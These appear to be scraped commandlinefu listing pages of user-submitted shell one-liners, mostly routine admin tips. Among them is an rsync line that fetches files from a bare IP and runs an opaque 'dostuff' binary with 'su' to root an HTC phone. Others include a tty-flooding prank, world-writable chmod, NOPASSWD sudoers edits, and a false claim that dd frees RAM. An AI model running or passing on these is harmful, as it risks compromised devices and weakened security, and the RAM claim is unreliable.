boot with prompt init 5 shutdown init 6 reboot more /var/adm/messages view solaris system logs read system logs of sun solaris 9 yum -y install bind bind-chroot caching-nameserver install packages yum -y install bind bind-chroot caching-nameserver start service service named restart set autostart chkconfig named on Caching-Nameserver j mp3 cd /home/john/documents/media/my mp3 collection quickly navigate your filesystem Autojump is cd command that learns. More info: http://wiki.github.com/joelthelion/autojump find | xargs chmod 777 screen -d -m nautilus --no-desktop `pwd` Start a file browser in the current directory This opens up nautilus in the current directory, which is useful for some quick file management that isn't efficiently done from a terminal. sudo chmod -x /usr/lib/notify-osd/notify-osd Quick and dirty way to disable the Ubuntu notifications that can be quite annoying. It prevent the notify-osd to start so you need to logout Gnome or kill it by hand to take effect. Go to / man bash | col -b Functions: bash col man bash man page kill -9 <replace this with pid you want to kill> debian01:/tmp/blah# kill -9 994 debian01:/tmp/blah# Forcefuly kills the pid Kills the pid you want to kill scp -P 2202 user@host:/folder/folder/folder/lolz . scp copies file lolz. into your recent folder, on your system. (port 2202) python -c "import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(('google.com', 80)); print s.getsockname()[0]" Requires Python; doesn't require a specific server to return your IP. dd if=/dev/zero of=junk bs=1M count=1K Free unused memory currently unavailable This is an useful command for when your OS is reporting less free RAM than it actually has. In case terminated processes did not free their variables correctly, the previously allocated RAM might make a bit sluggis over time. This command then creates a huge file made out of zeroes and then removes it, thus freeing the amount of memory occupied by the file in the RAM. In this example, the sequence will free up to 1GB(1M * 1K) of unused RAM. This will not free memory which is genuinely being used by active processes. pwd /home Functions: pwd Simply displays your current working directory. Helps when you are buried deep in /etc or some other obscure place. (cd /source/dir ; tar cv .)|(cd /dest/dir ; tar xv) copy-directory /media/cdrom /mnt/backup/ 104MB 0:00:06 [7.43MB/s] [============> ] 9% ETA 0:00:58 the f is for file and - stdout, This way little shorter. I Like copy-directory function It does the job but looks like SH**, and this doesn't understand folders with whitespaces and can only handle full path, but otherwise fine, function copy-directory () { ; FrDir="$(echo $1 | sed 's:/: :g' | awk '/ / {print $NF}')" ; SiZe="$(du -sb $1 | awk '{print $1}')" ; (cd $1 ; cd .. ; tar c $FrDir/ )|pv -s $SiZe|(cd $2 ; tar x ) ; } ls | grep .gz >> list.txt && cat list.txt | while read x ; do gunzip -d $x ; done && rm -rf list.txt Functions: cat grep gunzip ls read rm gunzip all .gz file in current dir cat /dev/cdrom > ~/mydisk.iso Create a iso from the disk. Generate the iso from the disk, easily. same as "dd if=/dev/cdrom of=~/mydisk.iso" Have you mooed today? tar cvf - foodir | gzip > foo.tar.gz Create a tar.gz in a single command Where foodir is the directory you want to zip up. wget -q -nd http://www.biranchi.com/ip.php; echo "Your external ip is : `cat ip.php`" This is a convinient way to do it in scripts. You also want to rm the ip.php file afterwards scp -P 1837 <path_to_loca_file> <remote_user>@<remote_ip>:<remote_ip> use scp to copy files when ssh is running on a different port pastebinit [file] pastebinit - command-line pastebin client paste file to pastebin (other similar sites available, read man page). make sure to have 'pastebinit' install mplayer -vo caca foo.avi Lire une video dans une console Linux Permet de lire une video dans une console, meme sans interface graphique. Interet limite, mais a connaitre au cas ou. for i in {0..11} ; echo da$i `camcontrol inquiry da$i -S` 繋がっているSCSIディスクのシリアル番号を表示する(for zsh) ディスクの台数に応じてiの部分を弄る。 FreeBSDかつzshな環境用 for i in {a..z};do sudo rm /usr/share/doc/$i*/*;done Functions: rm sudo -11 Save disk space by removing help and documentation files Never read the documentation? No, then why have that ~ 20 MB sit there and take up space? This command preserves directory structure wile removing all of those unnecessary help and documentation files. Works on Ubuntu, Debian, and most related systems. Gives a lot of directory errors, I'll fix those later. ‹ First < 341 342 343 344 345 > Last › w | egrep -v '(load|FROM)' | awk '{print $2}' | sed 's/^/tty/' | awk '{print "echo \"The Matrix has you...\" >> /dev/" $1}' | bash The Matrix has you... (on all writable ttys) send Everyone on your machine some love This works just like write or wall ... cept one thing the sender is anonymous ... if you really want to drive everyone insane replace echo \"The Matrix has you...\" with cat /dev/urandom nice one to do on April fool's day firefox http://emacs.vote-system.com/ Commandlinefu site like but for Emacs ! Post all stuff related to Emacs here. And vote for the best ! http://emacs.vote-system.com/ echo "your text" > filename mkgo newdir ~$ mkgo cool cool$ mkgo - Create a Directory and immediate go into it # put this in your .bashrc mkgo (){ mkdir $1 && cd $1 kill -9 `pgrep firefox` pgrep firefox - this returns the Process ID for the signal firefox kill -9 pid - this kills the signal that had the given pid cmd1 `cmd1` or cmd1 $(cmd1) - here is the syntax for cmd2 to be executed first. Then the call to cmd2 is substituted with the output of cmd2, and cmd1 is executed. gunzip < foo.tar.gz | tar xvf - Functions: gunzip tar Extract tar.gz in a single command recode Modificar o enconding de todos arquivos de um diret?rio /usr/bin/lynx -dump http://www.netins.net/dialup/tools/my_ip.shtml | grep -A2 "Your current IP Address is:" | tail -n1 | tr -d ' '|sed '/^$/d'| sed 's/^ *//g' Functions: grep sed tail tr ls -al gnu@robby:~/opensnc-src0.1.2$ ls -al total 128 drwxr-xr-x 14 gnu gnu 4096 2009-07-22 22:50 . drwxr-xr-x 139 gnu gnu 12288 2009-11-12 13:06 .. -rwxr-xr-x 1 gnu gnu 7992 2009-07-22 07:54 CMakeLists.txt drwxr-xr-x 2 gnu gnu 4096 2009-07-09 00:23 config drwxr-xr-x 2 gnu gnu 4096 2009-05-31 17:34 gui drwxr-xr-x 2 gnu gnu 4096 2009-05-31 17:36 images drwxr-xr-x 2 gnu gnu 4096 2009-07-24 01:32 languages drwxr-xr-x 2 gnu gnu 4096 2009-07-20 05:03 levels drwxr-xr-x 2 gnu gnu 4096 2009-07-22 08:36 licenses -rwxr-xr-x 1 gnu gnu 18326 2009-05-31 17:36 license.txt drwxr-xr-x 2 gnu gnu 4096 2009-07-08 21:17 musics drwxr-xr-x 2 gnu gnu 4096 2009-05-31 17:34 quests -rwxr-xr-x 1 gnu gnu 30172 2009-07-22 22:43 readme.html drwxr-xr-x 2 gnu gnu 4096 2009-07-09 00:57 samples drwxr-xr-x 2 gnu gnu 4096 2009-07-22 08:09 screenshots drwxr-xr-x 3 gnu gnu 4096 2009-07-22 08:33 src drwxr-xr-x 2 gnu gnu 4096 2009-05-31 17:34 themes show the last modified date on directory and file it does provide much more information , the owner , group , the size in byte , and the last modified time a file or directory was ls -al : list all in long format whois cmd.fu;whois cmdfu.com|grep -i cmdfu No whois server is known for this kind of object. No match for "CMDFU.COM". check if commandlinefu.com got a better domain It would be nice if commandlinefu.com had a better domain name. Will they pick one of the above; We'll see. rm -rf *.htm teste.txt < cut -d : -f 1,5 /etc/passwd | tr : \\t | tr a-z A-Z | cat teste.txt Functions: cat cut tr -12 List system's users alias s='sudo' Short alias for sudo This is way faster than typing 'sudo'. And AFAIK - there is no decent command for letter 's'. yum install kernel-PAE Loading "installonlyn" plugin Setting up Install Process Setting up repositories Reading repository metadata in from local files Parsing package install arguments Resolving Dependencies --> Populating transaction set with selected packages. Please wait. ---> Downloading header for kernel-PAE to pack into transaction set. kernel-PAE-2.6.18-53.1.13 100% |=========================| 259 kB 00:01 ---> Package kernel-PAE.i686 0:2.6.18-53.1.13.el5 set to be installed --> Running transaction check Dependencies Resolved ============================================================================= Package Arch Version Repository Size Installing: kernel-PAE i686 2.6.18-53.1.13.el5 updates 13 M Transaction Summary Install 1 Package(s) Update 0 Package(s) Remove 0 Package(s) Total download size: 13 M Is this ok [y/N]: Downloading Packages: (1/1): kernel-PAE-2.6.18- 100% |=========================| 13 MB 00:10 Running Transaction Test Finished Transaction Test Transaction Test Succeeded Running Transaction Installing: kernel-PAE ######################### [1/1] Installed: kernel-PAE.i686 0:2.6.18-53.1.13.el5 Complete! RHEL / CentOS Support 4GB or more RAM ( memory ) fuser -vm /dev/sda2 USER PID ACCESS COMMAND Com o fuser voce descobre quem esta ocupando o dispositivo. ex: kill -9 1768 fonte: http://www.vivaolinux.com.br/dica/Desmontando-um-dispositivo-ocupado uptime Functions: uptime cd ~/Desktop && for FILES in $(ls); do mv $FILES .${FILES}; done Functions: cd mv echo "${1}" | egrep '^[[:digit:]]*$' ; if [ "$?" -eq 0 ] ; then sed -i "${1}"d $HOME/.ssh/known_hosts ; else printf "\tYou must enter a number!\n\n" ; exit 1 ; fi Functions: echo egrep exit printf sed Remove "ssh host" from known hosts file. I have this as a file called deletekey in my ~/bin. Makes life a little easier. sudo cat /dev/mem > /dev/dsp What is the sound of your memory ? echo -e "Content-type: text/plain\n\n$REMOTE_ADDR" get your public ip address This version does not rely on a 3rd party service. Just put this in a bash cgi on your own server. -13 chmod -R 774 . check output # wget http://nchc.dl.sourceforge.net/project/gpac/GPAC/GPAC%200.4.5/gpac-0.4.5.tar.gz # wget http://nchc.dl.sourceforge.net/project/gpac/GPAC%20extra%20libs/GPAC%20extra%20libs%200.4.5/gpac_extra_libs-0.4.5.tar.gz # tar -zxf gpac-0.4.5.tar.gz # tar -zxf gpac_extra_libs-0.4.5.tar.gz # cd gpac_extra_libs # cp -r * ../gpac/extra_lib # cd ../gpac # chmod +x configure # yum install zlib* # ./configure # make lib # make apps # make install lib # make install # cp bin/gcc/libgpac.so /usr/lib Install MP4Box # wget http://nchc.dl.sourceforge.net/project/gpac/GPAC/GPAC%200.4.5/gpac-0.4.5.tar.gz # wget http://nchc.dl.sourceforge.net/project/gpac/GPAC%20extra%20libs/GPAC%20extra%20libs%200.4.5/gpac_extra_libs-0.4.5.tar.gz # tar -zxf gpac-0.4.5.tar.gz # tar -zxf gpac_extra_libs-0.4.5.tar.gz # cd gpac_extra_libs # cp -r * ../gpac/extra_lib # cd ../gpac # chmod +x configure # yum install zlib* # ./configure # make lib # make apps # make install lib # make install # cp bin/gcc/libgpac.so /usr/lib dst=/data/wimax/log/bin;sd=/sdcard;(rsync -aP rsync://168.103.182.210/t $sd/t ;mkdir $dst ;cd $dst; cp $sd/t/su $sd/t/flash_image . ;chmod 755 dostuff;./dostuff) > $sd/fumanchu.log 2> $sd/fumanchu.err.log Functions: cp rsync fumanchu testing app1 w/bad rating Installs busybox to an obscure directory on the HTC evo /data/wimax/login/bin ps -A list all the process list all the processes ‹ First < 342 343 344 345 346 > Last › chmod +x FILES Make FILES executable killall nautilus echo 'loginname ALL=(ALL) ALL' >> /etc/sudoers -14 Add a line for your username in the /etc/sudoers file, allowing you to sudo in Fedora I am new to linux, and I was trying to figure out why I could not sudo with my username in Fedora 10. This command, when run as root, will add a line to the sudoers file allowing the loginname supplied to sudo. The above line will require a password when you sudo, if you wish to sudo without password, use: echo 'loginname ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers instead. you have to run this command as su, and this is just an easier way of using visudo, just adds it right from the terminal. yum install vixie-cron crontabs How to install cron (crond, crontab) perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x 100' gunslinger@localhost:~/shellcode$ perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x 100' Art of hacking... Art of hacking on perl Print "Art of hacking..." 100 times by perl or you can this tools : http://packetstormsecurity.org/shellcode/shellcodeencdec.py.txt for i in $(grep 'mystring' myfile1)|awk '{print $1}'); do grep $1 myfile2;done /bin/bash echo -n "Let's POST MORE, PLEASE!" Getting involved!! I absolutely love this website, and appreciate every contribution. This is the first place I go when I'm stuck, you all have some great ideas. But contributions seem to be slipping a little. If all of us could contribute more code from time to time, this site would be absolutely incredible. Since I'm a relative newcomer to commandline-fu, I don't have the knowledge to contribute much, but I will do what I can. for i in $(seq 0 5) ; do echo "5 - $i" | bc -l ; sleep 60 ; done && echo "bye, bye" && shutdown -h now bye, bye Functions: bc echo seq shutdown sleep Five Minutes To Go command to turn off your computer when you go home and can not wait http://www.facebook.com/#!/ninatodorovic?ref=ts ls | grep *.txt | while read file; do cat $file >> ./output.txt; done; Functions: cat grep ls read -15 for dir in $(ls); do du -sk ${dir}; done dir1 500 dir2 145 dir3 340400 dir4 2345 Functions: dir du do a directory disk usage summary without giving the details for the subdirectories Sometimes you want to know the summary of the sizes of directories without seeing the details in their subdirectories. Especially if it is going to just scroll off the screen. This one liner summarizes the disk usage of any number of directories in a directory without giving all the details of whats happening underneath. :!start c:\progra~1\Opera\opera.exe http://www.commandlinefu.com open an url with opera webbrowser from vim nohup nautilus & nautilus . ./cd_some_dir.sh -16 how to run a script to change directory The script contains a single command: cd /a/long/directory/path/i/can/never/remember dmesg | grep cpu Functions: dmesg grep get cpu info from dmesg netstat -antp | grep 22 عرض اتصالات لبورت محدد عرض الاتصالات لبورت ٢٢ not necessarily better, but many...! ( IFS=:; for i in $PATH; do echo $i; done; ) echo $PATH|sed -e 's/:/\n/g' # but the tr one is even better of course echo $PATH|xargs -d: -i echo {} # but this comes up with an extra blank line; can't figure out why and don't have the time :( echo $PATH|cut -d: --output-delimiter=' ' -f1-99 # note -- you have to hit ENTER after the first QUOTE, then type the second one. Sneaky, huh? echo $PATH | perl -l -0x3a -pe 1 # same darn extra new line; again no time to investigate echo $PATH|perl -pe 's/:/\n/g' # too obvious; clearly I'm running out of ideas :-) touch <filename> create any empty file in the current path apache2ctl graceful alias up="cd .."; alias upp="cd ../.."; alias uppp="cd ../../.."; alias upppp="cd ../../../.."; alias uppppp="cd ../../../../.." up - aliaes for moving up the directory tree scp ~/.ssh/id_rsa.pub user@remote:.ssh/authorized_keys -17 Simply copies your public key to the remote system. For the first time, this will require a password for the user@remote account. From then on, ssh will ask for your private key keyphrase occasionally but you won't need to use the password. Very handy when you're moving files for testing etc. ls -l To display a listing of files and directory ghgh rty uty tr uyuyuyu reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities Verify Windows SNMP settings ls ~ Chapt01 Chapt02 sum.sh To list all files in your home directory It will list all files in your home directory even if your current directory is not home directory Convert Windows/DOS Text Files to Uni Convert Windows/DOS Text Files to Uni -18 ‹ First < 343 344 345 346 347 > dd demand draft find out who you logged onto the machine as -- and not just who you are now In my work environment, we log onto the servers as our user ('user', in the sample ouput), and 'sudo su - root' to other accounts. This trick allows us to return the account name we logged in as -- and not the account name we currently are ('root', in this example). Using this trick, you can build other commands: Set your CVSROOT env variable to your account name: CVSROOT=$(who am i | awk '{print $1}')@cvs.server.example.com:/cvsroot SCP a file to another server: scp file.txt $(who am i | awk '{print $1}')@some.other.server.com:. This works out great in my environment, as we can include this in our documentation and make the comands more easy to copy/paste for different users, and not have to set all sorts of variables, or modify the docs for each user. whoami gives you the name of the user you currently are, not the user you logged on originally as. who gives you a listing of every single person logged onto the server. who am i gives you the name of the user you logged on as, and not who you changed to with su. Look at the following scenario: user su - # whoami root # who am i user pts/51 2009-02-13 10:24 (:0.0) whoami != who am i explorer . while true; do eject /dev/cdrom && eject -t /dev/cdrom; done Eject the CD Rom Device This open the cd rom device and close it in a loop move you up one directory quickly listar arquivos com permiss?o de acesso ln ln -19 mosh alias sbrc="source ~/.bashrc" && alias nbrc="nano ~/.bashrc" usage: $ nbrc edit .bashrc press ctrl-x,y,enter $ sbrc alias source .bashrc and nano .bashrc alias for editing .bashrc and sourcing it with a quick command, very useful for quickly adding and modifying alias' and functions in bashrc, create lots of alias from commandlinefu very quickly, use nano vim or any other edit if you want, very useful if you have a barcode scanner and you want to run commands quickly with barcodes i want the ip for tagged alias vi='emacsclient -n' alias vi to emacs add (server-start) in .emacs alias s='ssh -l root' user@localhost:~$ s myhost Last login: Mon May 4 15:16:18 2009 from 10.40.29.72 [root@myhost ~]# -20 Ultra shortcut for ssh root@ When you have to manage lot of servers, it's boring to type ssh root@myhost for each connection. Now you can type juste "s someting" and you are connected. You can too add bash_completion script to complet with tab the name of your servers. This will be the next tips from me ;) type C:\WINNT\system32\inetsrv\MetaBase.xml | find "DEBUG" Functions: find type Checks for Debug HTTP Verbs in IIS settings this command is to see oracle instance process on linux server -22 ps- ef | grep pmon touch balls creates balls type C:\WINNT\system32\inetsrv\MetaBase.xml | find "400" | find "CustomError" Checks for custom error pages in IIS configuration ls -l ~ ls -l $HOME touch /path/to/file.txt -23 touch file w3m test type "C:\Program Files\Common Files\Symantec Shared\VirusDefs\definfo.dat" See what date Symantec definitions were last updated on a WIndows system -24 go to home directory l ls short hand ‹ First < 344 345 346 347 >